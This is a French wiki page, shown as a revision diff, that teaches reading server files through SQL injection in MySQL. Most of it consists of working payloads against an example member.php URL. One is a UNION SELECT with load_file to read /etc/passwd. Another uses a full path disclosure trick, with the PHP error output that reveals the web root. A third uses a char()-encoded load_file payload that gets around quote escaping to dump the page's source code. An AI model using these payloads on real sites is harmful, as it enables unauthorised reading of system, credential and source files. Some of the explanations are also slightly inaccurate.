Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

wiki:lecture_de_fichier [2018/04/23 19:13] (Version actuelle)
Ligne 1: Ligne 1:
 +Une injection SQL peut nous permettre de lire un fichier, notamment à partir de la fonction ​ load_file ​ de MySql.
 +
 +Soit un site : \\
 + ​www.owe/​member.php?​id=1 ​
 +
 +Si le site n'est pas parfaitement protéger, je peux réaliser une injection numérique dans l'url, mais je peux aussi lire un fichier.
 +Par exemple si je veux lire le fichier /​etc/​passwd,​ il me suffirait ​ de faire : \\
 + ​www.owe/​member.php?​id=1 UNION SELECT load_file('​etc/​passwd'​) FROM users # 
 +
 +Comment faire si je veux lire  la page   ​member.php ​  sans connaitre son chemin absolue ?
 +J'​utilise le   Full path discolure ​ , cette faille est exécuté par injection des caractères inattendus dans certains paramètres d'un page web.
 +
 +Si je rentre cette url : \\
 + ​www.owe/​member.php?​id[]=1 ​
 + 
 +<code bash>
 +Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /​var/​www/​owe/​member.php on line 67 You have an error in your SQL syntax; ​
 +</​code><​code bash>​check the manual that corresponds to your MySQL server version for the right syntax to use near ''​ at line 1</​code>​
 +
 +
 +Du coup il me reste plus qu'à utiliser load_file sur ce nouveau chemin.
 +
 +
 +Mais comment faire si le site vulnérable échappe les quotes ? Vous ne pourrez plus utiliser la fonction load_file aussi simplement.
 +Il faudra encoder les caractères avant, et ce grâce à la fonction ​ char() ​ de MySql qui convertit du décimal en binaire.
 +
 +Ainsi si je veux afficher la page member.php sans utiliser de quotes, je peux faire : 
 +
 + ​www.owe/​member.php?​id=1 UNION SELECT load_file(char(47,​118,​97,​114,​47,​119,​119,​119,​47,​111,​119,​101,​47,​109,​101,​109,​98,​101,​114,​46,​112,​104,​112)) FROM users # 
 +
 +Et bingo, cela va me retourner la page member.php !
  
wiki/lecture_de_fichier.txt · Dernière modification: 2018/04/23 19:13 (modification externe)
CC0 1.0 Universal
Powered by PHP Driven by DokuWiki Recent changes RSS feed Valid CSS Valid XHTML 1.0 Valid HTML5